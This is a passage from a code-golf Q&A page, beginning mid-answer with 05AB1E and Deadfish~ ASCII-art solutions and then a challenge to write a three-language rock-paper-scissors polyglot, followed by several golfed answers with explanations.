вUÅxSǝTѸ;ÕØ+F&нλ–?°тW¬¬0ZÂ*d’E9U<Tèñˆwãœ&ì‰0Kíš7ùθ²£PŸíн¥°8{²wëp¥‡Λ¿®gs0₂.ÙmòÓÛ‚ÄîÅß∍Ô!мH{gµJõa¦ñCÅ2’‡†ºÞ§Tx]š\å≠„”ak…²¥\‘ôVиHâθDëX₄à&*%ƒ²í3ߨÑ:r‹ÈOê.‡}¬ú[@ÊǝªZ˜f¬Î†Ÿ!1в•12вèR17ôJ».º ``` [Try it online.](https://tio.run/##DZBtK0NxHIbf@xQooy3HNgmjKA9pXkxsaCZNHpJEvKBQ/06bUNSM2syeO7Nm03YynQ2p393hxep0fIX/FznOy/vFdV917R8F13c2DaOzvbvH1iv0uTyBtbNOznIDqP0m6X2uTZd9CJ8s/Ca9iJAyggfEbNMW/Uv74Cw6RtU/cYnKVLb7IVo3OItPDftGvSii1ro4Rl6NWlDmrGqfRUXNDqKhKSRTfk5VUNG/SKLq0CnJx3g5IImzrJagb3rdPrJzURQQ34OMKBKcPSKEV4SR5pc3uO/QP2dOt6nuRj1IBdQmEHaaZpPnLENNpOjZe7KqZgOQ@FWGsxRnyeAuZwVTLQU4i@FtUVdmkNOUSbwsczGEjMXa9XNHMir9SFMREdchZw1celASzN9zKqO5Mo5rs0nJ33raMvetKVOVDocum7kcTl1Gcd4xiDc3fQjUNIx/) [Verify that it's correct.](https://tio.run/##fZNtS1RBFMff@ynGhbw@sDNqhHULCnpA7IVWWmEnBqOSiCjyhYITXBYNCwrMAs18Zk10Fb1orJoEc9h8ISy3rzBfxM7M3ntbCRyYy7l7//P7n/nP7MuBvkfPnhwfZ5hX35Tlwu8EqTImWDyHW4cz@kdXTRT24OjQncOZbhzXxYv4BSebbtRFB@V9E0xc1pt/cvd0QReaezHX@NgEU9cv9FzqxhXcOno7iEuliTosmGCz@SaulxbacLdc1KFe6ioVcT060Hm9eX5Yh4O49krnTbBQnta/9Eb/QLPJ5ThOvcAQJ3DaBF9xBDdwFOfM2Af8XBv9bB/u1zsduNOnl3HrKo62kjOtN8G83sNZ/b176GFpATBv3s2bYNYEM33PTbBM1nkwwSRu342K7bhYLl7DtfsmN4LzdY1nfn/SIa6fxTm9guP@axPs4lgnrnLivtEF3HtwBd9TJqu9R9@e0vtHMisVa1uikOJqaY1CXLnd0obbHXqf671blGkmw@Tpg9UoOFUgVI1SjAawZKi0Eu41UaQSoaBaUKUQ4HEpucd8VikEVCncl4SiUoJVVhQeTyjZbNbz3TMmcM8pgNRMWAqtkYqmtASg79SWcyGw4I7CXB/METhYy1ShiCNsL5ZhC1qvUoVgnkUI6yWIAZYPFuIxcAqylcmE@qYGelIdzzgPYMkU9Z0N4MKKZ7wXy3PWANKXZOWast6iqlNnLVxiUGlKndiLhTAQkhODS7AWnqjai@Wnh5mco/WK98I9aZeA4JQ3990TbMZMejw5W3s0gtKOGVTYPLyT90PYH0jps0oB/92P@N6ASqt/ChknWhkqrdwFtgpx6k0GRf@Hvw) **Explanation:** ``` " '(+-./:O\_|" # Push string " '(+-./:O\_|" •5ñǝ¶P вUÅxSǝTѸ;ÕØ+F&нλ–?°тW¬¬0ZÂ*d’E9U<Tèñˆwãœ&ì‰0Kíš7ùθ²£PŸíн¥°8{²wëp¥‡Λ¿®gs0₂.ÙmòÓÛ‚ÄîÅß∍Ô!мH{gµJõa¦ñCÅ2’‡†ºÞ§Tx]š\å≠„”ak…²¥\‘ôVиHâθDëX₄à&*%ƒ²í3ߨÑ:r‹ÈOê.‡}¬ú[@ÊǝªZ˜f¬Î†Ÿ!1в• # Push compressed integer 82884728546083544802114826866811347888294234139952249449993042546851026466586575621019053395214928564814179141524271139630560365410986413280485520009435856058156273218115974685512908452464400236161169136625844093046037549003472551358816347180245088496758636921040209372081258608689916152211637687400211864355841371146514354551178114229365000601858316896536398050410654536115253951187868762637231796211074036336817668524952 12в # Convert it to Base-12 as list: [10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,6,11,11,10,10,10,10,10,10,10,10,10,6,10,10,10,10,11,11,11,9,0,0,0,0,0,0,0,6,0,0,0,0,0,11,11,7,0,5,1,0,0,1,5,6,9,0,0,0,0,0,11,11,11,0,0,0,10,10,0,6,0,0,5,1,0,0,0,11,11,7,5,4,4,4,5,6,9,1,0,0,0,10,1,5,11,11,11,0,0,0,0,6,0,0,0,9,0,1,5,0,6,11,11,7,10,5,10,6,9,0,0,0,1,9,0,0,11,0,11,11,11,0,0,6,0,0,9,1,5,0,11,0,0,11,0,11,11,7,10,9,9,0,1,5,9,0,0,1,9,5,0,9,11,11,8,2,6,0,9,0,0,0,9,0,0,0,9,0,0,11,11,3,2,9,10,6,10,10,10,6,10,10,10,6,10,10,11,11,7,0,6,6,0,5,1,6,0,0,5,6,1,0,6,11,11,11,10,0,9,0,0,6,5,1,0,11,0,0,11,0,11,11,7,0,1,0,9,6,0,0,0,5,6,0,0,11,0,11,11,11,10,0,10,10,9,0,0,1,6,0,5,1,0,9,11,11,7,1,4,4,4,1,9,6,0,0,0,0,0,5,1,11,11,11,0,0,0,0,0,0,9,0,0,1,5,10,10,0,11,11,7,0,1,5,10,10,5,1,9,6,0,0,0,0,0,11,11,11,6,0,0,0,0,0,0,0,9,0,0,0,0,0,11,11,11,0,0,0,0,0,0,0,0,0,9,0,0,0,0,11,11,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,9,11,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,0] è # Index each into the string R # Reverse the list of characters 17ô # Split it into chunks of size 17 J # Join each chunk of characters to a single string » # Join the list of strings by newlines .º # Mirror it with overlap (and output implicitly) ``` [Answer] # DEADFISH~, 4253 bytes ``` {iii}iic{iiiiii}iii{cc}{c}c{{d}ii}dddddc{{i}}{i}iiiic{ddd}ddciii{cc}ccccccccc{ddddd}iic{{i}dd}dddc{{d}}{d}ddddc{{i}}{i}iiiicc{{d}i}ddcccc{iiiiii}c{dddddd}ccccccccc{{i}d}iic{{d}i}ddccccccccc{i}iiiiic{d}dddddcccc{{i}d}iicc{{d}}{d}ddddc{{i}}{i}iiiicc{{d}i}ddccccc{iiiiii}c{dddddd}ccccccc{i}iiiiic{{i}dd}dddc{ddd}ddc{dddddd}ccccccc{i}iiiiic{d}dddddccccc{{i}d}iicc{{d}}{d}ddddc{{i}}{i}iiiicc{{d}i}ddccccc{i}iiiiic{iiii}iiiiic{ddddd}dddc{i}dddc{iiiii}dcc{ddddd}ic{d}iiic{d}iiic{ii}iiiiiic{dd}ddddddc{i}dddc{i}dddc{iiiii}dcc{ddddd}ic{d}iiic{i}ddc{iiii}iiiiic{dddddd}ccccc{{i}d}iicc{{d}}{d}ddddc{{i}}{i}iiiicc{{d}i}ddc{iiiiii}iiicc{ddddd}ic{d}iiic{d}iiicc{iiiiii}c{dddddd}cccccc{{i}d}iic{{d}i}ddcccccc{i}iiiiic{d}dddddcc{i}dddc{i}dddc{iiiii}dcc{dddddd}dddc{{i}d}iicc{{d}}{d}ddddc{{i}}{i}iiiicc{{d}ii}dddddc{i}dddc{d}ddddccccc{i}iiiiic{iiii}iiiiic{ddddd}dddciiiiiicccddddddc{ii}dc{dd}iciiiiiicccddddddc{i}ddc{iiii}iiiiic{dddddd}ccccc{i}iiiic{d}iiic{{i}dd}iiiiicc{{d}}{d}ddddc{{i}}{i}iiiicc{ddd}ddc{dddddd}c{i}dddc{i}dddc{d}ddddc{i}iiiiic{d}iic{d}iiicc{iiiiii}ciiicc{dddddd}dddc{iiiiii}iiic{iii}dc{ddd}ic{dddddd}dddc{iiiiii}iiicc{ddddd}iic{d}dddddcc{i}dddc{iiiii}iiic{dddddd}c{i}iiiic{d}iiic{d}iiic{i}iiiiic{{i}dd}dddcc{{d}}{d}ddddc{{i}}{i}iiiicc{{d}i}ddc{{i}d}iic{{d}i}ddcc{i}iiiiicdc{d}ddddccc{i}iiiiic{iiii}iiiiic{dddddd}c{i}dddc{d}iiic{ii}iiiiiic{dd}ddddddc{i}dddc{d}iiic{i}iiiiic{iiii}iiiiic{dddddd}ccc{i}iiiic{iiii}iiiiiic{dddddd}cc{{i}d}iic{{d}i}ddc{{i}d}iicc{{d}}{d}ddddc{{i}}{i}iiiicc{{d}i}ddc{{i}d}iic{{d}i}ddcc{{i}d}iic{{d}i}ddc{i}dddc{i}dddcic{d}dddddcc{iiiiii}c{dddddd}c{iiiiii}iiic{iii}dc{ddd}ic{dddddd}dddc{i}iiiiic{d}dddddcc{iiiiii}c{dddd}ddddddc{d}iiic{d}iiic{{i}d}iic{{d}i}ddcc{{i}d}iic{{d}i}ddc{{i}d}iicc{{d}}{d}ddddc{{i}}{i}iiiicc{{d}ii}iiic{d}dddddc{i}dddc{i}ddcdc{d}ddddcc{i}iiiiic{d}iic{i}dddc{d}ddddc{i}iiiiicc{d}dddddc{ii}iiiiiic{dd}ddddddc{iiiiii}cc{dddddd}c{i}iiiic{d}iiic{iiiii}iiic{dddddd}cc{i}iiiic{iiii}iiiiiic{ddddd}dddc{d}iiic{iiiiii}c{iii}iicc{{d}}{d}ddddc{{i}}{i}iiiicc{ddd}icc{ddddd}iic{iiiii}ddccc{ddddd}iic{iiiii}ddccc{ddddd}iic{iiiii}ddcdddc{ddddd}ddciiicddciiiiiic{iiiii}ddcdddciiicccdddciiicccdddciiicc{iii}dcc{{d}}{d}ddddc{{i}}{i}iiiicc{{d}i}ddcc{iiiiii}c{dddddd}ccc{iiiiii}c{dddddd}ccc{iiiiii}c{dddddd}c{i}iiiiic{d}iiic{iiii}dc{dddd}iic{iiiii}ic{dddddd}c{i}iiiiic{d}dddddccc{i}iiiiic{d}dddddccc{i}iiiiic{d}dddddcc{{i}d}iicc{{d}}{d}ddddc{{i}}{i}iiiicc{ddd}ddc{dddddd}c{i}iiiic{iiii}iiiiiic{ddddd}dddc{d}iiicc{iiiiii}c{dddd}ddddddc{d}iiic{d}iiic{iiiiii}cciiic{dddd}iiic{iiii}dddc{ddddd}iicc{d}dddddc{i}dddc{i}dddcic{d}dddddcc{i}dddc{i}ddcdc{d}ddddc{i}iiiiic{{i}dd}dddcc{{d}}{d}ddddc{{i}}{i}iiiicc{{d}i}ddc{{i}d}iic{{d}i}ddcc{{i}d}iic{{d}i}ddc{i}iiiic{d}iiic{iiiii}iiic{dddddd}cc{i}iiiiic{d}dddddcc{{i}d}iic{{d}i}ddcc{iiiiii}c{dddddd}cc{i}iiiiic{d}iic{i}dddc{d}ddddc{{i}d}iic{{d}i}ddcc{{i}d}iic{{d}i}ddc{{i}d}iicc{{d}}{d}ddddc{{i}}{i}iiiicc{{d}i}ddc{{i}d}iic{{d}i}ddcc{iiiiii}c{ddddd}dddc{d}iiiccc{iiiiii}c{dddd}dddddc{iiiii}ddc{ddddd}ic{iiiii}dc{dddd}iiic{iiii}dddc{ddddd}ic{iiiii}dcdddc{dddd}dddddc{d}dddddccc{i}dddc{i}ddc{d}dddddcc{{i}d}iic{{d}i}ddc{{i}d}iicc{{d}}{d}ddddc{{i}}{i}iiiicc{{d}ii}iiic{d}dddddc{i}iiiic{d}iiic{d}iiic{iiiiii}c{dddddd}ccc{i}iiiiic{d}dddddcccc{{i}d}iic{{d}i}ddcccc{iiiiii}c{dddddd}ccc{i}iiiiic{d}dddddc{i}dddc{i}dddc{d}ddddc{iiiiii}c{iii}iicc{{d}}{d}ddddc{{i}}{i}iiiicc{{d}ii}iic{d}iiic{iiiii}iiiiiic{dddddd}dddccc{i}dddc{iiiii}iiic{dddd}dddddcdcdcccic{i}iic{d}ddcdcccic{iiii}iiiiiic{dddd}dddddc{d}iic{d}iiiccc{iiiiii}iiic{ddddd}ddddddc{i}dddc{{i}dd}ddcc{{d}}{d}ddddc{{i}}{i}iiiicc{{d}i}ddccc{i}dddc{i}dddc{d}ddddcc{i}iiiiic{d}dddddc{iiiiii}iiicc{dddddd}dddccc{{i}d}iic{{d}i}ddccc{iiiiii}iiicc{dddddd}dddc{iiiiii}c{dddddd}cc{i}iiiic{d}iiic{d}iiiccc{{i}d}iicc{{d}}{d}ddddc{{i}}{i}iiiicc{{d}i}ddccccc{iiiiii}c{dddd}dddddcdc{d}iiic{d}iiicc{i}dddc{i}dddc{d}ddddc{ii}iiiiiic{dd}ddddddc{i}iiiic{d}iiic{d}iiicc{i}dddc{i}dddc{iiii}iiiiiic{dddd}dddddc{d}dddddccccc{{i}d}iicc{{d}}{d}ddddc{{i}}{i}iiiicc{{d}i}ddccccc{i}iiiiic{d}dddddccccccc{iiiiii}c{iii}iic{{d}ii}iiic{d}dddddccccccc{iiiiii}c{dddddd}ccccc{{i}d}iicc{{d}}{d}ddddc{{i}}{i}iiiicc{ddd}icccc{ddddd}iic{iiiii}ddccccccccc{iii}dc{ddd}icccccccccdddciiicccc{iii}dcc{{d}}{d}ddddc{{i}}{i}iiiic{{d}ii}iiic{iiiii}dd{cc}cccccccccdddc{iii}iic{{d}}{d}ddddc ``` One of those TIO-breaking answers... ]
[Question] [ Write a program that is a polyglot in three languages that plays [rock–paper–scissors](https://en.wikipedia.org/wiki/Rock%E2%80%93paper%E2%80%93scissors). The input for any version of the program is always one of the strings `rock` or `paper` or `scissors`. In the first language the program must output the rock–paper–scissors choice that beats the input: ``` Input Output rock paper paper scissors scissors rock ``` In the second language the program must output the rock–paper–scissors choice that ties the input: ``` Input Output rock rock paper paper scissors scissors ``` In the third language the program must output the rock–paper–scissors choice that loses to the input: ``` Input Output rock scissors paper rock scissors paper ``` **The shortest code in bytes wins.** Tiebreaker is higher-voted answer. The inputs and/or outputs may optionally have a trailing newline but otherwise should only be the plain `rock`/`paper`/`scissors` strings. You may use uppercase `ROCK`, `PAPER`, `SCISSORS` if desired. You may *not* use different versions of the same language (e.g. Python 2 and 3). [Answer] ## Python, brainfuck and JavaScript, ~~103~~ 99 bytes Yay under 100 bytes! ``` 0,[.5,];p=["rock","scissors","paper"] 1//1;lambda x:p[p.index(x)-1];""" x=>p[-~p.indexOf(x)%3]//""" ``` In Python, this defines a function which beats the input, in brainfuck it's just a simple cat program, and in JavaScript it loses. Here's a version which gives the functions a name, `f`, and also prompts for input in JavaScript and Python 3: ``` 0,[.5,];p=["rock","scissors","paper"] 1//1;f=lambda x:p[p.index(x)-1];""" f=x=>p[-~p.indexOf(x)%3]//""" 1//1;""" console.log(f(prompt())) // JavaScript 1//1"""; print(f(input())) # Python ``` Try it online (older version): [Python](https://tio.run/nexus/python3#@2@gE61nqhNrXWAbrVSUn5ytpKNUnJxZXJxfVAxkFiQWpBYpxXIZ6usbWqfZ5iTmJqUkKlRYFUQX6GXmpaRWaFRo6hrGWispKXGl2VbY2hVE69ZBpfzTgJKqxrH6@iBZLq6Cosy8Eo00DYg1mpoIAYgtyCJwJ2hq/v8PAA), [brainfuck](https://tio.run/nexus/brainfuck#@2@gE61nqhNrXWAbrVSUn5ytpKNUnJxZXJxfVAxkFiQWpBYpxXIZ6usbWqfZ5iTmJqUkKlRYFUQX6GXmpaRWaFRo6hrGWispKXGl2VbY2hVE69ZBpfzTgJKqxrH6@kDZ//9BhgMA), [JavaScript](https://tio.run/nexus/javascript-node#@2@gE61nqhNrXWAbrVSUn5ytpKNUnJxZXJxfVAxkFiQWpBYpxXIZ6usbWqfZ5iTmJqUkKlRYFUQX6GXmpaRWaFRo6hrGWispKXGl2VbY2hVE69ZBpfzTgJKqxrH6@iBZruT8vOL8nFS9nPx0jTQNiF2amujCEAsxxeFu0tT8/x8A) ## Explanation: In Python, `"""..."""` is a multiline string, which can be used as any token. When placed stand-alone it doesn't do anything at all. I use this to "hide" the JavaScript code from Python. The same goes for the `(0,[.5,])` bit, it's just a tuple containing a `0` and a list of `5`, and also the `1//1` part, `//` in Python is integer division, but starts a comment in JavaScript. Here's the code stripped of these tokens: ``` p=["rock","scissors","paper"] lambda x:p[p.index(x)-1] ``` The first line is pretty self-explanatory, it just defines the list `p` to contain the different choices in rock-paper-scissors. The second line defines an unnamed function which takes one argument, `x`, and gives back the choice that beats `x` (eg. the previous element in `p`) --- In JavaScript, `//` denotes a single-line comment. Similarly to Python, single tokens are ignored, so the code stripped of these tokens is: ``` p=["rock","scissors","paper"] x=>p[-~p.indexOf(x)%3] ``` This works similarly to Python, by first setting the list `p` to contain the choices and then defining an anonymous function that gives the losing choice. `-~x` is the same as `x+1` but with higher precedence so that I can skip the parens. --- In brainfuck, every character except `+-,.[]<>` are removed, leaving this: ``` ,[.,][,,] [.-] >[-.] ``` The command `,` reads one byte of input, `.` prints it and `[...]` loops while the value is non-zero. What this program does then is read the input and printing it one character at a time until the character `\0` is found. Since we don't have that in the code, we can ignore the rest of the program. In effect, this just echoes back whatever the user types in, effectively tying them. [Answer] # Python 2, Ruby, Retina, ~~90~~ 83 bytes *-7 bytes thanks to Value Ink* ``` s=['rock','paper','scissors'] print s[s.index((0and gets or input()))+(0and-2or-1)] ``` Try it Online: [Python](https://tio.run/nexus/python2#@19sG61elJ@cra6jXpBYkFoEpIuTM4uL84uK1WO5Cooy80oUiqOL9TLzUlIrNDQMEvNSFNJTS4oV8osUMvMKSks0NDU1tcHiukb5RbqGmrH//0ONAgA), [Ruby](https://tio.run/nexus/ruby#@19sG61elJ@cra6jXpBYkFoEpIuTM4uL84uK1WO5Cooy80oUiqOL9TLzUlIrNDQMEvNSFNJTS4oV8osUMvMKSks0NDU1tcHiukb5RbqGmrH//4NNAgA), [Retina](https://tio.run/nexus/retina#@19sG61elJ@cra6jXpBYkFoEpIuTM4uL84uK1WO5Cooy80oUiqOL9TLzUlIrNDQMEvNSFNJTS4oV8osUMvMKSks0NDU1tcHiukb5RbqGmrH//4NNAgA) Wins in Ruby, loses in Python, and ties in Retina. This solution makes use of the fact that `0` is truthy in Ruby but falsey in Python. It also makes use of negative indexing in both Python and Ruby. [Answer] # V, Brain-flak, and Python 2, ~~97, 86, 81, 77~~, 75 bytes ``` o='rock paper scissors'.split() lambda s:o[o.index(s)-1]#ddt.C rHd*wywVp ``` *Two bytes saved thanks to @nmjcman101!* This was super fun! I like this answer a lot because it's a cool overview of languages I like: My favorite editor, my favorite non-esoteric language, and a language I wrote. (Technically python 3 is better, but python 2 is golfier so `¯\_(ツ)_/¯`). [Try it online!](https://tio.run/nexus/python2#@59vq16Un5ytUJBYkFqkUJycWVycX1SsrldckJNZoqHJlWabk5iblJKoUGyVH52vl5mXklqhUaypaxirLJ2SUqLnrFDEJ@2RolVeWR5WwFVQlJlXopGmkZlXUArUran5/z/YeHUA "Python 2 – TIO Nexus") in Python (slightly modified so you can see the output), which prints what loses to the input. [Try it online!](https://tio.run/nexus/brain-flak#@59vq16Un5ytUJBYkFqkUJycWVycX1SsrldckJNZoqHJlZOYm5SSqFBslR@dr5eZl5JaoVGsqWsYqyydklKi56xQxCftkaJVXlkeVvD/P8ik/7rJAA "Brain-Flak – TIO Nexus") in Brain-Flak, which prints what ties with the input. [Try it online!](https://tio.run/nexus/v#@59vq16Un5ytUJBYkFqkUJycWVycX1SsrldckJNZoqHJlZOYm5SSqFBslR@dr5eZl5JaoVGsqWsYqyydklKi56xQxCftkaJVXlkeVvD/P8gkAA "V – TIO Nexus") in V, which prints what beats the input. Since V relies on unprintable ASCII characters, here is a hexdump: ``` 00000000: 6f3d 2772 6f63 6b20 7061 7065 7220 7363 o='rock paper sc 00000010: 6973 736f 7273 272e 7370 6c69 7428 290a issors'.split(). 00000020: 6c61 6d62 6461 2073 3a6f 5b6f 2e69 6e64 lambda s:o[o.ind 00000030: 6578 2873 292d 315d 231b 6464 742e 4320 ex(s)-1]#.ddt.C 00000040: 720e 1b48 642a 7779 7756 70 r..Hd*wywVp ``` Explanation: ## Python In python, this is very straightforward. We define a list of the three elements, and return the element right before the input. Since `-1` returns the back element, this works circularly, and it's all very straightforward and easy. Then, everything after `#` is a comment. ## Brain-Flak This is *also* extremely straightforward in brain-flak. If we had to do winning or losing, this would probably be several hundred bytes. But this actually works in 0 bytes. On the start of the program, all of the input is loaded onto the stack. At the end of the program, the whole stack is implicitly printed. Once we remove all of the irrelevant characters, the code brain-flak sees is ``` ()[()] ``` Which simply evaluates to `1 + -1`, but since this value is not used at all, it's a NOOP. ## V Here is where it gets a little weird. Naming the python list `o` might have seemed arbitrary, but it's definitely not. In V, `o` opens up a newline, and puts us in insert mode. Then, ``` ='rock paper scissors'.split() lambda s:o[o.index(s)-1]# ``` is inserted into the buffer. After that, the relevant code is: ``` <esc>ddxxf'C r<C-n><esc>Hd*wywVp ``` Explanation: ``` <esc> " Return to normal mode dd " Delete this line. Now the cursor is on '=' t. " Move the cursor forward to the "'" C " Delete everything after the "'", and enter insert mode r " From insert mode, enter '<space>r' <C-n> " Autocomplete the current word based on what is currently in the buffer " Since only one word starts with 'r', this will insert 'rock' <esc> " Leave back to normal mode H " Go to the first line (where the input is) d* " Delete everything up until the next occurence of the input w " Move forward one word yw " Yank the word under the cursor Vp " And paste that word over the current line, delete everything else ``` [Answer] # [CJam](https://sourceforge.net/p/cjam), [Retina](https://github.com/m-ender/retina), PHP, ~~92~~ ~~86~~ 85 bytes ``` ECHO["rock",0,"scissors","paper"][ORD(READLINE())%4]; #];"scissors paper rock"S/rci= ``` Should be run in PHP using the `-r` flag. [Try it in CJam](https://tio.run/nexus/cjam#@@/q7OEfrVSUn5ytpGOgo1ScnFlcnF9UrKSjVJBYkFqkFBvtH@SiEeTq6OLj6eeqoampahJrzaUcaw1XqqAAVqkANiNYvyg50/b/fxAHAA) [Try it in Retina](https://tio.run/nexus/retina#@@/q7OEfrVSUn5ytpGOgo1ScnFlcnF9UrKSjVJBYkFqkFBvtH@SiEeTq6OLj6eeqoampahJrzaUcaw1XqqAAVqkANiNYvyg50/b/fxAHAA) [Try it in PHP](https://tio.run/nexus/php#s7EvyCj47@rs4R@tVJSfnK2kY6CjVJycWVycX1SspKNUkFiQWqQUG@0f5KIR5Oro4uPp56qhqalqEmvNpRxrDVeqoABWqQA2I1i/KDnT9v9/EAcA) ### CJam In CJam, all capital letters are predefined variables. On the first line, many of these values are pushed onto the stack, along with some string and array literals. Some increments, decrements, and other operations are performed. After all of that, the stack is wrapped in an array (`]`) and discarded (`;`), so none of that other stuff matters at all. The main CJam program is simply: ``` "scissors paper rock"S/rci= "scissors paper rock" e# Push this string S/ e# Split it on spaces r e# Read the input c e# Cast to char (returns the first character in the string) i e# Cast to int (its codepoint) = e# Get the index of the split array (CJam has modular arrays) ``` ### Retina This almost feels like cheating... Retina will substitute any match of the regex `ECHO["rock",0,"scissors","paper"][ORD(READLINE())%4];` in the input with `#];"scissors paper rock"S/rci=`. Whatever this regex matches, it certainly doesn't match anything in `rock`, `paper`, or `scissors`, so no substitution is made. The unmodified input is then implicitly output. ### PHP The second line is a comment, so it is ignored. The first line uses the same algorithm as the CJam part, but with different ordering of the results. [Answer] # C, C++, Python; ~~227~~ ~~226~~ 216 bytes *Saved a byte thanks to @Mat!* ``` #include<stdio.h>/* f=lambda a:"rock"if a[0]=="r"else"paper"if a[0]=="p"else"scissors" """*/ int f(char*b){puts(sizeof'b'-1?*b=='r'?"paper":*b=='s'?"rock":"scissors":*b=='r'?"scissors":*b=='s'?"paper":"rock");} //""" ``` Defines a function `f` in all languages. Wins in C, ties in Python, loses in C++. Like C++ always does /s The part between the `/*` and the `*/` is a comment block in C and C++ while it's the lambda function declaration in Python. It basically compares the first character of the function argument and returns the move that starts with that letter. The part between the `"""`s is a multiline string in Python while it's the function declaration in both C and C++. `sizeof'b'-1` figures out if the current language is C of C++. It has a truthy value if the size is other than 1, a falsy value otherwise. In C character literals are 4-byte long type while in C++ they are a single byte type. Then after the language is figured out it just looks at the first letter of the input and outputs accordingly. ## C [Try it online!](https://tio.run/nexus/c-gcc#XY3LDoIwFET3fAW5LgqNWtmClQ8hLNrShkZe6YWNxG@vCEaMyzmZmeMPtlPNVOkrjpXtz/WN0cDwRrSyEqFIwfXqDtaEoriUnIMD3aCGQQza/eBhw6gsYu8QAgCgLLDdGJpI1cJRGc/DNGKE9qF7QyQ5JTmVnBNH8s9dumZc8ipN97v02/xDuI@3UZw9A8YWu2@F7SJxlPGqpzKbTSSLpFwa3r@7Lw "C (gcc) – TIO Nexus") ## C++ [Try it online!](https://tio.run/nexus/cpp-gcc#XY3LDoIwFET3fAW5LgqNWtmClQ8hLNrShkZe6YWNxG@vCEaMyzmZmeMPtlPNVOkrjpXtz/WN0cDwRrSyEqFIwfXqDtaEoriUnIMD3aCGQQza/eBhw6gsYu8QAgCgLLDdGJpI1cJRGc/DNGKE9qF7QyQ5JTmVnBNH8s9dumZc8ipN97v02/xDuI@3UZw9A8YWu2@F7SJxlPGqpzKbTSSLpFwa3r@7Lw "C++ (gcc) – TIO Nexus") ## Python [Try it online!](https://tio.run/nexus/python3#XY1BDsIgFET3PUXzXQBNFN2i2IMYF0AhEmsh/Haj8ewVW2ONy3mZmTeufGfaobEH7BsfNpcjrwonW3XTjSqVgBTMFbwr1Wl7lhIS2BYtRBVt@sFxxmg8YkgIBQBUvPBdXzpqLipVmj3i0CNFf7fBEU3Wu7rSUpJE6s@dmDLmPEnFcie@zT@Ey3gesf2z4Dzbx5iynTrqu@yljLHxXXgB "Python 3 – TIO Nexus") [Answer] # C++, R, C; ~~252~~ ~~240~~ ~~226~~ ~~220~~ 209 bytes ``` #define b/* M=function()cat(readline()) #*/ #import<stdio.h> #define M()main(){int i=0;char t[9];char*u;char*s[]={"rock","paper","scissors"};scanf("%s",t);for(;*t-*s[i++];);puts(s[(i+=sizeof('a')==1)%3]);} M() ``` Makes use of the difference between C and C++ that the size of a character literal is 4 bytes in C and 1 byte in C++. **C++:** [Try it online!](https://tio.run/nexus/cpp-gcc#NY5BasMwEEX3OoWRCZmx06ahq6KqN8gJjBeqLJEhiWQ0401Dzu4qKV29D5/3@Ws7hUgpNN/7Th1tXJIXygnQO4ES3HSpJSCqtturlq5zLvLJMlF@PX2pf/kIeHVUrRslaci@GX9ypZHhY3ymbvkDD6O96ZL9We/07OZQKtkTcy6s74a9SxH0hvVO0MRcwHTyUjXq@9GgmRdh4AGot0w/IUfYui1ae8DN@4jmruqRdX3s/wI) **R:** Result: ``` > #define b/* > M=function()cat(readline()) > #*/ > #import<stdio.h> > #define M()main(){int i=0;char t[9];char*u;char*s[]={"rock","paper","scissors"};scanf("%s",t);for(;*t-*s[i++];);puts(s[(i+=sizeof('a')==1)%3]);} > M() rock rock ``` **C:** [Try it online!](https://tio.run/nexus/c-gcc#NY5BasMwEEX3OoWRCZmx06ahq6KqN8gJjBeqLJEhiWQ0401Dzu4qKV29D5/3@Ws7hUgpNN/7Th1tXJIXygnQO4ES3HSpJSCqtturlq5zLvLJMlF@PX2pf/kIeHVUrRslaci@GX9ypZHhY3ymbvkDD6O96ZL9We/07OZQKtkTcy6s74a9SxH0hvVO0MRcwHTyUjXq@9GgmRdh4AGot0w/IUfYui1ae8DN@4jmruqRdX3s/wI) [Answer] ## Gawk, Retina, Perl; 68 bytes ``` {eval"\$_=uc<>"}{$_=/[Sk]/?"paper":/[Pc]/?"rock":"scissors"}{print} ``` (with a newline at the end) ### [Gawk](https://tio.run/nexus/awk#@1@dWpaYoxSjEm9bmmxjp1RbDWTpRwdnx@rbKxUkFqQWKVnpRwckg7hF@cnZSlZKxcmZxcX5RcVAtQVFmXkltVz//4OkuMDKuWDSAA) (winner) Some junk for Perl's sake, then change the line content (`$_`, which is the same as `$0` because the variable `_` is undefined) depending on whether it contains a `k` or a `c`, then print the result. Ignore any warning about escape sequences, I meant to do that. ``` {a_string_that_is_ignored} {$_ = /[Sk]/ ? "paper" : /[Pc]/ ? "rock" : "scissors"} {print} ``` ### [Retina](https://tio.run/nexus/retina#@1@dWpaYoxSjEm9bmmxjp1RbDWTpRwdnx@rbKxUkFqQWKVnpRwckg7hF@cnZSlZKxcmZxcX5RcVAtQVFmXkltVz//8PEAA) (tie) Same trick as [Basic Sunset](https://codegolf.stackexchange.com/a/116267) and others: replace matches of some silly regexp on the first line by the content of the second line, so pass the input through. ### [Perl](https://tio.run/nexus/perl5#@1@dWpaYoxSjEm9bmmxjp1RbDWTpRwdnx@rbKxUkFqQWKVnpRwckg7hF@cnZSlZKxcmZxcX5RcVAtQVFmXkltVz//8PEAA) (loser) Read a line and convert it to uppercase, then choose a word based a letter it contains, and print the result. The first and last step are wrapped using `eval` to hide them from awk. ``` $_ = uc <>; $_ = /[Sk]/ ? "paper" : /[Pc]/ ? "rock" : "scissors"; print $_ ``` ## Gawk, Retina, `perl -p`; 57 bytes I'm entering this as a bonus because the command line switch in `perl -p` is supposed to be part of the program by the usual rules on this site, which would make it not a polyglot. ``` {eval"\$_=uc"}$_=/[Sk]/?"paper":/[Pc]/?"rock":"scissors" ``` Again with a final newline for [Retina](https://tio.run/nexus/retina#@1@dWpaYoxSjEm9bmqxUC6T0o4OzY/XtlQoSC1KLlKz0owOSQdyi/ORsJSul4uTM4uL8omIlrv//YWwA). This time, with [`perl -p`](https://tio.run/nexus/perl5#@1@dWpaYoxSjEm9bmqxUC6T0o4OzY/XtlQoSC1KLlKz0owOSQdyi/ORsJSul4uTM4uL8omIlrv//QUJcYGVcMOH/ugUA) to print the output automatically, the perl overhead is significantly reduced. I can let the assignment to `$_` trigger an implicit print in [awk](https://tio.run/nexus/awk#@1@dWpaYoxSjEm9bmqxUC6T0o4OzY/XtlQoSC1KLlKz0owOSQdyi/ORsJSul4uTM4uL8omIlrv//QUJcYGVcMGEA). [Answer] # ><>, Retina, Python 2: ~~144~~ ~~127~~ 123 bytes *1 byte saved thanks to @Loovjo by removing a space* *4 bytes saved thanks to @mbomb007 by using `input` instead of `raw_input`* ``` #v"PAPER"v?%4-2{"SCISSORS"v?%2:i #>ooooo; >oooooooo<"ROCK"~< 